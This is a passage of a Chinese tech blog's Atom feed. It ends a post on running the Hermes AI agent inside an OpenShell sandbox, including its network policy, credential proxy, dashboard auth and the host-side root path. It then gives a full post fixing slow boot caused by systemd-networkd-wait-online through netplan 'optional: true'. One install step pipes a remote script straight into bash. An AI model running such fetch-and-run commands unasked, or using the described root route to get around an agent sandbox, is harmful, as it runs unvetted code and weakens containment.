&lt;tr&gt;&lt;td&gt;&lt;code&gt;&#x2F;sandbox&lt;&#x2F;code&gt;（podman 命名卷）&lt;&#x2F;td&gt;&lt;td&gt;保留&lt;&#x2F;td&gt;&lt;td&gt;丢&lt;&#x2F;td&gt;&lt;td&gt;宿主 &lt;code&gt;~&#x2F;.local&#x2F;share&#x2F;containers&#x2F;storage&#x2F;volumes&#x2F;openshell-sandbox-&amp;lt;id&amp;gt;-workspace&#x2F;_data&lt;&#x2F;code&gt;&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;容器可写层（&lt;code&gt;&#x2F;usr&lt;&#x2F;code&gt; 外）&lt;&#x2F;td&gt;&lt;td&gt;保留&lt;&#x2F;td&gt;&lt;td&gt;丢&lt;&#x2F;td&gt;&lt;td&gt;&lt;code&gt;&#x2F;usr&lt;&#x2F;code&gt; 是只读 policy，装不了全局包&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;pi 本体&lt;&#x2F;td&gt;&lt;td&gt;保留&lt;&#x2F;td&gt;&lt;td&gt;丢&lt;&#x2F;td&gt;&lt;td&gt;但它在镜像里，重建自动有&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;&#x2F;tbody&gt;&lt;&#x2F;table&gt;
&lt;p&gt;所以路线 A 装的东西随卷走，但 &lt;code&gt;sandbox delete&lt;&#x2F;code&gt; 就没了；长期用建议路线 B 把它固化进镜像。&lt;&#x2F;p&gt;
&lt;blockquote&gt;
&lt;p&gt;补记（2026-09-13）：表中「&lt;code&gt;&#x2F;usr&lt;&#x2F;code&gt; 只读」是相对沙箱内进程（Landlock）说的；从宿主用 &lt;code&gt;podman exec -u root&lt;&#x2F;code&gt; 可以写 &lt;code&gt;&#x2F;usr&lt;&#x2F;code&gt; 并 apt 装包（见后文「权限边界」节），但同样只活在容器可写层，&lt;code&gt;sandbox delete&lt;&#x2F;code&gt; 照样丢。&lt;&#x2F;p&gt;
&lt;&#x2F;blockquote&gt;
&lt;h2 id=&quot;lu-xian-a-shi-cao&quot;&gt;路线 A 实操&lt;&#x2F;h2&gt;
&lt;blockquote&gt;
&lt;p&gt;更新（2026-09-13）：早期版本要先给 policy 加 &lt;code&gt;hermes_install&lt;&#x2F;code&gt;（安装端点）和 &lt;code&gt;hermes_model&lt;&#x2F;code&gt;（模型端点）两条专用规则；2026-09 网络放开后两条都已删除（单条 &lt;code&gt;open_internet&lt;&#x2F;code&gt; 覆盖公网 80&#x2F;443），下面的 &lt;code&gt;policy set&lt;&#x2F;code&gt; 只是确保最新 policy 生效，不再是安装的前置条件。&lt;&#x2F;p&gt;
&lt;&#x2F;blockquote&gt;
&lt;pre data-lang=&quot;bash&quot; class=&quot;language-bash &quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;openshell policy set hermes --policy hermes-policy.yaml --wait
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;安装（装到 &lt;code&gt;&#x2F;sandbox&#x2F;.hermes&lt;&#x2F;code&gt;）：&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;bash&quot; class=&quot;language-bash &quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;openshell sandbox exec -n hermes --timeout 1500 -- bash -lc \
  &amp;#x27;curl -fsSL https:&amp;#x2F;&amp;#x2F;hermes-agent.nousresearch.com&amp;#x2F;install.sh | bash&amp;#x27;
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;安装器是&lt;strong&gt;用户态安装&lt;&#x2F;strong&gt;（&lt;code&gt;hermes --version&lt;&#x2F;code&gt; 自报 &lt;code&gt;Install method: git&lt;&#x2F;code&gt;）：&lt;code&gt;&#x2F;sandbox&#x2F;.hermes&#x2F;hermes-agent&lt;&#x2F;code&gt; 是 git checkout（&lt;code&gt;hermes update&lt;&#x2F;code&gt; 即 git pull），自带 Python venv、Node 运行时和 uv，全落在 &lt;code&gt;&#x2F;sandbox&lt;&#x2F;code&gt; 卷里——所以不需要 root&#x2F;apt（沙箱里也没有，见上节）。&lt;&#x2F;p&gt;
&lt;p&gt;两个坑：&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;uv 解释器真实路径&lt;&#x2F;strong&gt;：Hermes 的 venv python 是指向 &lt;code&gt;&#x2F;sandbox&#x2F;.uv&#x2F;python&#x2F;cpython-3.11.x&#x2F;bin&#x2F;python3.11&lt;&#x2F;code&gt; 的软链，OPA 按 &lt;code&gt;&#x2F;proc&lt;&#x2F;code&gt; 的真实 exe 匹配——&lt;code&gt;hermes_model&lt;&#x2F;code&gt; 的 binaries 只写 &lt;code&gt;&#x2F;sandbox&#x2F;.hermes&#x2F;**&lt;&#x2F;code&gt; 会被 deny，必须加上 &lt;code&gt;&#x2F;sandbox&#x2F;.uv&#x2F;python&#x2F;**&lt;&#x2F;code&gt;（现由 &lt;code&gt;open_internet&lt;&#x2F;code&gt; 的 &lt;code&gt;&#x2F;sandbox&#x2F;**&lt;&#x2F;code&gt; 通配覆盖）；&lt;&#x2F;li&gt;
&lt;li&gt;&lt;strong&gt;npm 的 &lt;code&gt;%2F&lt;&#x2F;code&gt;&lt;&#x2F;strong&gt;：Web UI 构建时 scoped 包路径带 &lt;code&gt;%2F&lt;&#x2F;code&gt;，裸隧道端点会被 http-parser 拒绝；&lt;code&gt;registry.npmjs.org&lt;&#x2F;code&gt; 要配 &lt;code&gt;protocol: rest&lt;&#x2F;code&gt; + &lt;code&gt;allow_encoded_slash: true&lt;&#x2F;code&gt;（现由 &lt;code&gt;open_internet&lt;&#x2F;code&gt; 全局覆盖）。&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;p&gt;模型接入（命名 provider + 环境变量占位符）：&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;bash&quot; class=&quot;language-bash &quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;hermes config set providers.xiaomi-token-plan-cn.base_url https:&amp;#x2F;&amp;#x2F;token-plan-cn.xiaomimimo.com&amp;#x2F;v1
hermes config set providers.xiaomi-token-plan-cn.key_env XIAOMI_TOKEN_PLAN_CN_API_KEY
hermes config set model.provider xiaomi-token-plan-cn
hermes config set model.default mimo-v2.5
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;验证：&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;text&quot; class=&quot;language-text &quot;&gt;&lt;code class=&quot;language-text&quot; data-lang=&quot;text&quot;&gt;$ openshell sandbox exec -n hermes -- hermes -z &amp;quot;Reply with exactly one word: pong&amp;quot;
pong
# 日志：HTTP:POST ALLOWED ...&amp;#x2F;v1&amp;#x2F;chat&amp;#x2F;completions [policy:hermes_model engine:l7]
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;h1 id=&quot;hermes-web-ui-zi-dai-ren-zheng-bu-xu-yao-caddy&quot;&gt;Hermes Web UI：自带认证，不需要 caddy&lt;&#x2F;h1&gt;
&lt;p&gt;Hermes 自带 &lt;strong&gt;BasicAuthProvider&lt;&#x2F;strong&gt;（&lt;code&gt;dashboard.basic_auth.*&lt;&#x2F;code&gt;，scrypt 密码哈希 + HMAC 签名会话），所以不用反代加认证，直接绑 &lt;code&gt;0.0.0.0&lt;&#x2F;code&gt; 暴露即可：&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;bash&quot; class=&quot;language-bash &quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;# 沙箱内：生成随机密码、算 scrypt 哈希写进配置
PW=$(openssl rand -base64 18)
HASH=$(.&amp;#x2F;venv&amp;#x2F;bin&amp;#x2F;python -c &amp;#x27;from plugins.dashboard_auth.basic import hash_password; import sys; print(hash_password(sys.argv[1]))&amp;#x27; &amp;quot;$PW&amp;quot;)
hermes config set dashboard.basic_auth.username admin
hermes config set dashboard.basic_auth.password_hash &amp;quot;$HASH&amp;quot;
hermes config set dashboard.basic_auth.secret &amp;quot;$(openssl rand -hex 32)&amp;quot;

# 绑 0.0.0.0 起服务（有认证才允许非 loopback）
setsid nohup hermes dashboard --no-open --host 0.0.0.0 &amp;gt; &amp;#x2F;sandbox&amp;#x2F;.hermes&amp;#x2F;logs&amp;#x2F;dashboard.log 2&amp;gt;&amp;amp;1 &amp;lt; &amp;#x2F;dev&amp;#x2F;null &amp;amp;

# 宿主：把沙箱端口转发到 LAN
openshell forward start 0.0.0.0:9119 hermes -d
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;验证门禁：&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;text&quot; class=&quot;language-text &quot;&gt;&lt;code class=&quot;language-text&quot; data-lang=&quot;text&quot;&gt;GET &amp;#x2F;                -&amp;gt; 302（跳登录页）
GET &amp;#x2F;api&amp;#x2F;sessions    -&amp;gt; 401（未认证）
POST &amp;#x2F;auth&amp;#x2F;password-login（provider: basic）-&amp;gt; 200 并下发 cookie
带 cookie 再访问 &amp;#x2F;api&amp;#x2F;sessions -&amp;gt; 200
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;注意两点：一是 &lt;strong&gt;HTTP 明文&lt;&#x2F;strong&gt;（无 TLS），LAN 内密码明文传输，介意就再套 caddy TLS；二是 &lt;code&gt;openshell forward&lt;&#x2F;code&gt; 的 listener 在跑 CLI 的机器上，且 &lt;code&gt;forward stop&#x2F;start&lt;&#x2F;code&gt; 有时会卡住不退出（SSH channel 不关，之前专门写过一篇排查），实际转发通常已经生效，&lt;code&gt;openshell forward list&lt;&#x2F;code&gt; 确认即可。&lt;&#x2F;p&gt;
&lt;h1 id=&quot;cai-keng-qing-dan&quot;&gt;踩坑清单&lt;&#x2F;h1&gt;
&lt;ol&gt;
&lt;li&gt;&lt;code&gt;credentialed endpoint&lt;&#x2F;code&gt; 必须 L7（&lt;code&gt;protocol: rest&lt;&#x2F;code&gt;），否则代理只能看到裸隧道，凭证替换失败；&lt;&#x2F;li&gt;
&lt;li&gt;&lt;code&gt;provider attach&lt;&#x2F;code&gt; 校验读创建时 spec 的 policy——policy 和 &lt;code&gt;--provider&lt;&#x2F;code&gt; 要 &lt;code&gt;sandbox create&lt;&#x2F;code&gt; 一起给；&lt;&#x2F;li&gt;
&lt;li&gt;&lt;code&gt;provider update&lt;&#x2F;code&gt; 到沙箱约 15s 同步，别急着测；&lt;&#x2F;li&gt;
&lt;li&gt;&lt;code&gt;openshell policy get&lt;&#x2F;code&gt; 输出带表格头（&lt;code&gt;Version: … ---&lt;&#x2F;code&gt;），回灌前要截 &lt;code&gt;---&lt;&#x2F;code&gt; 后的纯 YAML；&lt;&#x2F;li&gt;
&lt;li&gt;OPA 按 &lt;code&gt;&#x2F;proc&lt;&#x2F;code&gt; 真实 exe 匹配 binaries，venv&#x2F;软链要写真实路径（uv python）；&lt;&#x2F;li&gt;
&lt;li&gt;npm scoped 包需要 &lt;code&gt;allow_encoded_slash: true&lt;&#x2F;code&gt;；&lt;&#x2F;li&gt;
&lt;li&gt;purge &lt;code&gt;containerd.io&lt;&#x2F;code&gt; 会删 &lt;code&gt;runc&lt;&#x2F;code&gt;，podman 沙箱容器会变 Error；&lt;&#x2F;li&gt;
&lt;li&gt;沙箱里跑不了 tcpdump（没二进制 + &lt;code&gt;CapEff=0&lt;&#x2F;code&gt; + policy 无 capability 配置）；抓包在宿主做，明文 HTTP 看 &lt;code&gt;openshell logs&lt;&#x2F;code&gt; 的 OCSF 事件。&lt;&#x2F;li&gt;
&lt;li&gt;&lt;strong&gt;沙箱内没有 root&#x2F;sudo&#x2F;apt 是设计&lt;&#x2F;strong&gt;：policy schema 拒 &lt;code&gt;0&lt;&#x2F;code&gt;&#x2F;root，supervisor 连 OCI &lt;code&gt;USER root&lt;&#x2F;code&gt;&#x2F;UID0&#x2F;GID0 都拒，运行时 &lt;code&gt;NoNewPrivs=1&lt;&#x2F;code&gt;&#x2F;&lt;code&gt;CapEff=0&lt;&#x2F;code&gt;&#x2F;seccomp&#x2F;Landlock；&lt;code&gt;date -s&lt;&#x2F;code&gt; 同样 EPERM。宿主侧 &lt;code&gt;podman exec -u root&lt;&#x2F;code&gt; 是唯一 root 路径（见「权限边界」节）。&lt;&#x2F;li&gt;
&lt;li&gt;&lt;strong&gt;&lt;code&gt;podman exec -u root&lt;&#x2F;code&gt; 里 apt 报 &lt;code&gt;rename failed, Permission denied&lt;&#x2F;code&gt;&lt;&#x2F;strong&gt;：&lt;code&gt;&#x2F;var&#x2F;lib&#x2F;apt&#x2F;lists&#x2F;partial&lt;&#x2F;code&gt; 属 &lt;code&gt;_apt&lt;&#x2F;code&gt;，root 缺 &lt;code&gt;CAP_DAC_OVERRIDE&lt;&#x2F;code&gt;；先 &lt;code&gt;chown -R root:root&lt;&#x2F;code&gt; 两个 apt 目录 + &lt;code&gt;-o APT::Sandbox::User=root&lt;&#x2F;code&gt; 即可（实测装通 &lt;code&gt;sl&lt;&#x2F;code&gt;）。&lt;&#x2F;li&gt;
&lt;li&gt;&lt;strong&gt;宿主改时区沙箱不跟&lt;&#x2F;strong&gt;：时钟共享、时区各自（容器 &lt;code&gt;&#x2F;etc&#x2F;localtime=Etc&#x2F;UTC&lt;&#x2F;code&gt;）；只有 &lt;code&gt;openshell sandbox exec&lt;&#x2F;code&gt; 会话由 gateway 注入宿主 TZ，Hermes 长驻进程是 UTC。统一 = 软链 &lt;code&gt;&#x2F;etc&#x2F;localtime&lt;&#x2F;code&gt; + 重启 dashboard&#x2F;gateway。&lt;&#x2F;li&gt;
&lt;&#x2F;ol&gt;
&lt;h1 id=&quot;zong-jie&quot;&gt;总结&lt;&#x2F;h1&gt;
&lt;p&gt;OpenShell 的价值在于它把「文件、进程、网络、凭证」四件事做成了一个可声明、可热更、可审计的策略层，而容器只是执行载体：&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;文件：Landlock 白名单，agent 只看得到 &lt;code&gt;&#x2F;sandbox&lt;&#x2F;code&gt; 和只读系统目录；&lt;&#x2F;li&gt;
&lt;li&gt;网络：白名单 + L7 检查，未列端点 403，全部留 OCSF 日志；&lt;&#x2F;li&gt;
&lt;li&gt;凭证：占位符 + 代理替换，真 key 不进 agent 进程——这是普通容器&#x2F;namespace 方案做不到的部分；&lt;&#x2F;li&gt;
&lt;li&gt;进程：无 root&#x2F;sudo 是硬边界（policy schema + supervisor OCI fallback 双拒，运行时零 capability + seccomp），系统工具走构建期镜像或宿主 &lt;code&gt;podman exec -u root&lt;&#x2F;code&gt; 后门（容器层，重建丢）；&lt;&#x2F;li&gt;
&lt;li&gt;扩展：沙箱里可以再装别的 agent（本文的 Hermes），代价是持久化要自己规划（卷 vs BYOC 镜像）。&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;p&gt;如果你只是想要「文件隔离 + 用宿主工具」，bubblewrap&#x2F;Landlock 更轻；但一旦涉及「模型 key 不能被 agent 读走」，OpenShell 这种带凭证注入的代理沙箱是最省心的方案。&lt;&#x2F;p&gt;
</content>
        
    </entry>
    <entry xml:lang="en">
        <title>服务器启动慢排查：systemd-networkd-wait-online 等空网口 2 分钟的根因与 netplan optional 修复</title>
        <published>2026-09-09T14:20:00+08:00</published>
        <updated>2026-09-09T14:20:00+08:00</updated>
        
        <author>
          <name>
            
              moxuetianya
            
          </name>
        </author>
        
        <link rel="alternate" type="text/html" href="https://vercel.juzhong.asia/2026/09/learn/systemd-boot-slow-networkd-wait-online/"/>
        <id>https://vercel.juzhong.asia/2026/09/learn/systemd-boot-slow-networkd-wait-online/</id>
        
        <content type="html" xml:base="https://vercel.juzhong.asia/2026/09/learn/systemd-boot-slow-networkd-wait-online/">&lt;h1 id=&quot;yi-xian-xiang&quot;&gt;一、现象&lt;&#x2F;h1&gt;
&lt;p&gt;鲲鹏 920 推理服务器（Ubuntu 22.04，ACPI 启动，网卡 4× 25G）重启后，ssh 轮询要等 2~4 分钟才通。量一下到底慢在哪：&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;bash&quot; class=&quot;language-bash &quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;$ systemd-analyze time
Startup finished in 19.274s (kernel) + 2min 35.437s (userspace) = 2min 54.712s
graphical.target reached after 2min 34.379s in userspace

$ systemd-analyze blame | head
2min 141ms systemd-networkd-wait-online.service   ← 主犯：恰好 120s 超时 + 启动偏移
   30.368s snapd.seeded.service                    ← 次犯：LXD snap 激活链
   30.291s snap.lxd.activate.service
   30.270s snapd.service
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;blockquote&gt;
&lt;p&gt;注：kernel 19.3s 是这台机器的硬件底数（ACPI 设备多、PCIe&#x2F;固件初始化慢，&lt;code&gt;Run &#x2F;init&lt;&#x2F;code&gt; 要到 10.8s），不是这里要解决的问题。&lt;&#x2F;p&gt;
&lt;&#x2F;blockquote&gt;
&lt;h1 id=&quot;er-gen-yin-netplan-gei-mei-cha-xian-de-kou-ye-pei-liao-dhcp&quot;&gt;二、根因：netplan 给没插线的口也配了 DHCP&lt;&#x2F;h1&gt;
&lt;pre data-lang=&quot;bash&quot; class=&quot;language-bash &quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;$ networkctl list
IDX LINK     TYPE     OPERATIONAL SETUP
  2 enp2s0f0 ether    routable    configured    ← 唯一在用的口（静态 IP）
  3 enp2s0f1 ether    no-carrier  configuring   ← 没插线，永远 configuring
  4 enp2s0f2 ether    no-carrier  configuring
  5 enp2s0f3 ether    no-carrier  configuring
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;netplan 配置（subiquity 装机生成）把 4 个口全配了：&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;yaml&quot; class=&quot;language-yaml &quot;&gt;&lt;code class=&quot;language-yaml&quot; data-lang=&quot;yaml&quot;&gt;network:
  ethernets:
    enp2s0f0:            # 静态 192.168.6.8&amp;#x2F;22，实际在用
      addresses: [...]
    enp2s0f1:            # dhcp4: true，但没插网线
      dhcp4: true
    enp2s0f2:            # 同上
      dhcp4: true
    enp2s0f3:            # 同上
      dhcp4: true
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;机制：systemd-networkd-wait-online 默认等&lt;strong&gt;所有被管理接口&lt;&#x2F;strong&gt; online（systemd 249 行为）；无载波口（NO-CARRIER）在 networkd 里永远停在 &lt;code&gt;configuring&lt;&#x2F;code&gt; → 等到 120s 超时 → &lt;code&gt;network-online.target&lt;&#x2F;code&gt; 延后 → graphical.target 晚到 2 分钟。多网口服务器只要有一个口没插线&#x2F;没配好就会踩中。&lt;&#x2F;p&gt;
&lt;h1 id=&quot;san-xiu-fu-netplan-optional-true&quot;&gt;三、修复：netplan &lt;code&gt;optional: true&lt;&#x2F;code&gt;&lt;&#x2F;h1&gt;
&lt;p&gt;给这些&quot;可能有线、可能没有&quot;的口加 optional（渲染成 networkd 的 &lt;code&gt;RequiredForOnline=no&lt;&#x2F;code&gt;，wait-online 不再等它们；将来插线 DHCP 照常工作）：&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;yaml&quot; class=&quot;language-yaml &quot;&gt;&lt;code class=&quot;language-yaml&quot; data-lang=&quot;yaml&quot;&gt;    enp2s0f1:
      dhcp4: true
      optional: true     # ← 与 dhcp4 同级（6 空格缩进）
    enp2s0f2:
      dhcp4: true
      optional: true
    enp2s0f3:
      dhcp4: true
      optional: true
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;pre data-lang=&quot;bash&quot; class=&quot;language-bash &quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;sudo chmod 600 &amp;#x2F;etc&amp;#x2F;netplan&amp;#x2F;00-installer-config.yaml   # netplan 警告权限过宽
sudo netplan generate    # 语法&amp;#x2F;渲染检查（只生成不应用）
sudo netplan apply
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;验证渲染结果（optional 是否生效看这里）：&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;bash&quot; class=&quot;language-bash &quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;$ cat &amp;#x2F;run&amp;#x2F;systemd&amp;#x2F;network&amp;#x2F;10-netplan-enp2s0f1.network
[Match]
Name=enp2s0f1

[Link]
RequiredForOnline=no     # ← 有此行 = wait-online 不再等它

$ grep -c RequiredForOnline &amp;#x2F;run&amp;#x2F;systemd&amp;#x2F;network&amp;#x2F;10-netplan-enp2s0f0.network
0                          # 在用的口保持 required（0 行）
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;h1 id=&quot;si-jie-guo&quot;&gt;四、结果&lt;&#x2F;h1&gt;
&lt;table&gt;&lt;thead&gt;&lt;tr&gt;&lt;th&gt;指标&lt;&#x2F;th&gt;&lt;th&gt;修复前&lt;&#x2F;th&gt;&lt;th&gt;修复后&lt;&#x2F;th&gt;&lt;&#x2F;tr&gt;&lt;&#x2F;thead&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td&gt;总启动&lt;&#x2F;td&gt;&lt;td&gt;2min 54.7s&lt;&#x2F;td&gt;&lt;td&gt;&lt;strong&gt;1min 2.6s&lt;&#x2F;strong&gt;&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;userspace&lt;&#x2F;td&gt;&lt;td&gt;2min 35s&lt;&#x2F;td&gt;&lt;td&gt;43.2s&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;networkd-wait-online&lt;&#x2F;td&gt;&lt;td&gt;2min 141ms&lt;&#x2F;td&gt;&lt;td&gt;&lt;strong&gt;8.5s&lt;&#x2F;strong&gt;（f0 一 online 就退出）&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;&#x2F;tbody&gt;&lt;&#x2F;table&gt;
&lt;p&gt;剩余大头：&lt;code&gt;snapd.seeded&lt;&#x2F;code&gt;&#x2F;&lt;code&gt;snap.lxd.activate&lt;&#x2F;code&gt; ~30s（不用 LXD 可 &lt;code&gt;sudo snap disable lxd&lt;&#x2F;code&gt;），未处理。&lt;&#x2F;p&gt;
&lt;h1 id=&quot;wu-cao-zuo-keng-ji-lu&quot;&gt;五、操作坑记录&lt;&#x2F;h1&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;&lt;code&gt;netplan try&lt;&#x2F;code&gt; 在非交互环境会白等&lt;&#x2F;strong&gt;：ssh 无 tty 无法按回车确认，15s 超时后自动 &lt;code&gt;Reverting.&lt;&#x2F;code&gt;，改动不生效。非交互请用 &lt;code&gt;netplan generate&lt;&#x2F;code&gt;（校验）+ &lt;code&gt;netplan apply&lt;&#x2F;code&gt;（应用）。&lt;&#x2F;li&gt;
&lt;li&gt;&lt;strong&gt;判断文件是否被回滚别用 &lt;code&gt;grep -A1&lt;&#x2F;code&gt;&lt;&#x2F;strong&gt;：只显示匹配行后 1 行，容易误判&quot;optional 丢了&quot;，导致重复追加产生重复键。改完直接 &lt;code&gt;cat&lt;&#x2F;code&gt; 全文核对。&lt;&#x2F;li&gt;
&lt;li&gt;&lt;strong&gt;sed 追加不幂等&lt;&#x2F;strong&gt;：重复执行会叠行。稳妥写法是先删后加（&lt;code&gt;sed -i &#x27;&#x2F;^      optional: true$&#x2F;d&#x27;&lt;&#x2F;code&gt; 再 append）。&lt;&#x2F;li&gt;
&lt;li&gt;&lt;code&gt;gateway4&lt;&#x2F;code&gt; 已废弃的警告可忽略（新语法用 &lt;code&gt;routes:&lt;&#x2F;code&gt;）。&lt;&#x2F;li&gt;
&lt;li&gt;apply 瞬间 enp2s0f0 的 IP 会短暂消失（networkd 重载），ssh 若恰好断开属正常，等几秒重连即可——建议在串口&#x2F;SOL 会话里做网络变更。&lt;&#x2F;li&gt;
&lt;&#x2F;ol&gt;
&lt;h1 id=&quot;liu-wait-online-qi-ta-jie-fa-dui-bi-he-bing-zi-jiu-bi-ji&quot;&gt;六、wait-online 其他解法对比（合并自旧笔记）&lt;&#x2F;h1&gt;
&lt;p&gt;除 netplan &lt;code&gt;optional: true&lt;&#x2F;code&gt; 外，还有几个常见做法，按&quot;是否动全局行为&quot;排列（本案例最终选 optional，因为它最精准：只声明&quot;这几个口不需要等&quot;，不动 wait-online 对其它接口&#x2F;服务的语义）：&lt;&#x2F;p&gt;
&lt;p&gt;&lt;strong&gt;① &lt;code&gt;--any&lt;&#x2F;code&gt;：任意一个接口 online 即返回&lt;&#x2F;strong&gt;（2025-10-30 旧笔记方案）&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;bash&quot; class=&quot;language-bash &quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;sudo tee &amp;#x2F;etc&amp;#x2F;systemd&amp;#x2F;system&amp;#x2F;systemd-networkd-wait-online.service.d&amp;#x2F;any.conf &amp;lt;&amp;lt;&amp;#x27;EOF&amp;#x27;
[Service]
ExecStart=
ExecStart=&amp;#x2F;usr&amp;#x2F;lib&amp;#x2F;systemd&amp;#x2F;systemd-networkd-wait-online --any
EOF
sudo systemctl daemon-reload
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;适用：服务器出口只有一条主链路、其它口爱配不配。代价：任何口（哪怕是 docker0&#x2F;备用口）先 online 就放行，可能&quot;网没真正通&quot;就继续启动。&lt;&#x2F;p&gt;
&lt;p&gt;&lt;strong&gt;② 缩短超时 + 指定等待接口&lt;&#x2F;strong&gt;（2025-11-23 旧笔记方案）&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;bash&quot; class=&quot;language-bash &quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;sudo systemctl edit systemd-networkd-wait-online.service
# [Service]
# TimeoutStartSec=5
# ExecStart=
# ExecStart=&amp;#x2F;lib&amp;#x2F;systemd&amp;#x2F;systemd-networkd-wait-online --interface=eth0 --interface=eth1
# 排除不想等的口：
# ExecStart=&amp;#x2F;lib&amp;#x2F;systemd&amp;#x2F;systemd-networkd-wait-online --exclude=vpn0
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;wait-online 的 120s 来自 service 自身的 &lt;code&gt;TimeoutStartSec&lt;&#x2F;code&gt;（Ubuntu 249 unit 默认 120），缩短它 + &lt;code&gt;--interface&lt;&#x2F;code&gt; 显式点名要等的口。代价：仍可能因点名口没插线而等满新超时；&lt;code&gt;--exclude&lt;&#x2F;code&gt; 对新装口不免疫。&lt;&#x2F;p&gt;
&lt;p&gt;&lt;strong&gt;③ disable &#x2F; mask：完全不等待&lt;&#x2F;strong&gt;&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;bash&quot; class=&quot;language-bash &quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;sudo systemctl disable systemd-networkd-wait-online.service --now   # 或 mask
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;最粗暴。依赖 &lt;code&gt;network-online.target&lt;&#x2F;code&gt; 的服务（部分 docker&#x2F;cloud-init&#x2F;挂载场景）可能在网络就绪前启动——2025-11-23 旧笔记自己都提醒：&lt;strong&gt;接口一直起不来时，disable 只是把问题藏起来&lt;&#x2F;strong&gt;，先按第七节诊断根源。&lt;&#x2F;p&gt;
&lt;p&gt;&lt;strong&gt;为什么本案例用 optional 而不是上面几种&lt;&#x2F;strong&gt;：这台机器 4 个口是&quot;常态只插 1 个、偶尔插 2-3 个&quot;，不是&quot;永远不用&quot;。&lt;code&gt;optional: true&lt;&#x2F;code&gt; 让没插线的口随时可以被 networkd 管理（插线即 DHCP），又不阻塞开机；wait-online 的默认语义（等所有&quot;必需&quot;接口）对其他服务保持不变。三种旧方案要么改全局语义（--any）、要么点名维护（--interface）、要么彻底关掉（disable），都不如&quot;按接口声明必需性&quot;干净。&lt;&#x2F;p&gt;
&lt;h1 id=&quot;qi-pai-cha-ming-ling-qing-dan-fu-yong&quot;&gt;七、排查命令清单（复用）&lt;&#x2F;h1&gt;
&lt;pre data-lang=&quot;bash&quot; class=&quot;language-bash &quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;systemd-analyze time &amp;amp;&amp;amp; systemd-analyze blame | head -10   # 定位耗时 service
networkctl list                                             # 看被管理接口状态（no-carrier + configuring = 嫌疑）
cat &amp;#x2F;etc&amp;#x2F;netplan&amp;#x2F;*.yaml                                     # 谁配了它
ip -br link                                                 # 物理层是否真的没插线
cat &amp;#x2F;run&amp;#x2F;systemd&amp;#x2F;network&amp;#x2F;10-netplan-&amp;lt;iface&amp;gt;.network         # optional 是否渲染成 RequiredForOnline=no
sudo journalctl -b -u systemd-networkd-wait-online          # 确认它的等待行为
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
</content>
        
    </entry>
    <entry xml:lang="en">
        <title>ARM 服务器（鲲鹏 920）让内核日志显示在 VGA：从 console=tty0 实验到 simplefb 点亮</title>
        <published>2026-09-09T11:42:47+08:00</published>
        <updated>2026-09-09T11:42:47+08:00</updated>
        
        <author>
          <name>
            
              moxuetianya
            
          </name>
        </author>
        
        <link rel="alternate" type="text/html" href="https://vercel.juzhong.asia/2026/09/arm-tty0-console-experiment/"/>
        <id>https://vercel.juzhong.asia/2026/09/arm-tty0-console-experiment/</id>
        
